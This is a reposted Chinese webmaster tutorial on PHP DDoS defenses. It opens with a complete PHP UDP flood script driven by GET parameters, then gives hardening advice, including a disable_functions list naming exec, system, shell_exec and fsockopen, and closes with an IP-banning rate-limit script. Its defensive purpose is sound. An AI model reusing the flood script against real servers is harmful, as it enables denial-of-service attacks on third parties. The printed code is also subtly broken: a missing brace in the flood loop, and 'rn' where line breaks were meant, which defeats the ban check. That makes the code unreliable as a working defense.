加入收藏 | 设为首页 | 会员中心 | 我要投稿 汽车网 (https://www.0577qiche.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

深入解析 PHP DDoS 的应对措施

发布时间:2023-07-25 13:32:08 所属栏目:PHP教程 来源:
导读:PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法.

我们先来看php ddos
PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法.

我们先来看php ddos代码,代码如下:

<?php 
$packets = 0;  
$ip = $_GET['ip'];  
$rand = $_GET['port'];  
set_time_limit(0);  
ignore_user_abort(FALSE); 
$exec_time = $_GET['time']; 
$time = time();  
print "Flooded: $ip on port $rand 
";  
$max_time = $time+$exec_time; 
 
for($i=0;$i<65535;$i++){  
$out .= "X";  
}  
while(1){  
$packets++;  
if(time() > $max_time){  
break;  

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);  
if($fp){  
fwrite($fp, $out);  
fclose($fp);  
}  
} //开源代码Cuoxin.com 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";  
?> 
细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了.

于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法.

注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作.

1.打开php.ini,2.禁用危险函数

由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数,找到disable_functions,将前面的“;”去掉,在等号后面增加如下代码:

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,proc_get_status,fsocket,fsockopen

3.设置PHP执行超时时间

如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间,找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30

4.禁用上传目录PHP执行权限

大概分为三种服务器:IIS,Apache、Nginx,具体步骤就不写了.

5.一个很暴力的方法

直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4

6.关闭用户中心

比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在.

7.修改管理员目录

这个方法就不细谈了,并不是对所有程序都适合.

8.修改默认管理帐号

很多人都习惯使用:admin 但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名.

9.一个复杂且记得住的密码

不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai@tang@.

后再再附一个php防ddos攻击的代码,代码如下:

<?php   
//查询禁止IP   
$ip =$_SERVER['REMOTE_ADDR'];   
$fileht=".htaccess2";   
if(!file_exists($fileht))file_put_contents($fileht,"");   
$filehtarr=@file($fileht);   
if(in_array($ip."rn",$filehtarr))die("Warning:"."<br>"."Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!");  
 
//加入禁止IP   
$time=time();   
$fileforbid="log/forbidchk.dat";   
if(file_exists($fileforbid))   
{ if($time-filemtime($fileforbid)>60)unlink($fileforbid);   
else{   
$fileforbidarr=@file($fileforbid);   
if($ip==substr($fileforbidarr[0],0,strlen($ip)))   
{   
if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid);  
elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);}   
else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);}   
}   
}   
}   
//防刷新   
$str="";   
$file="log/ipdate.dat";   
if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777);   
if(!file_exists($file))file_put_contents($file,"");   
$allowTime = 120;//防刷新时间   
$allowNum=10;//防刷新次数   
$uri=$_SERVER['REQUEST_URI'];   
$checkip=md5($ip);   
$checkuri=md5($uri);   
$yesno=true;   
$ipdate=@file($file);   
foreach($ipdate as $k=>$v)   
{ $iptem=substr($v,0,32);   
$uritem=substr($v,32,32);   
$timetem=substr($v,64,10);   
$numtem=substr($v,74);   
if($time-$timetem<$allowTime){   
if($iptem!=$checkip)$str.=$v;   
else{   
$yesno=false;   
if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn";   
elseif($numtem<$allowNum)$str.=$iptem.$uritem.$timetem.($numtem+1)."rn";   
else   
{   
if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);}   
file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND);   
$timepass=$timetem+$allowTime-$time;   
die("Warning:"."<br>"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!");   
}   
}   
}  //开源代码Cuoxin.com 
}   
if($yesno) $str.=$checkip.$checkuri.$time."1rn";   
file_put_contents($file,$str);   
?> 
 

(编辑:汽车网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章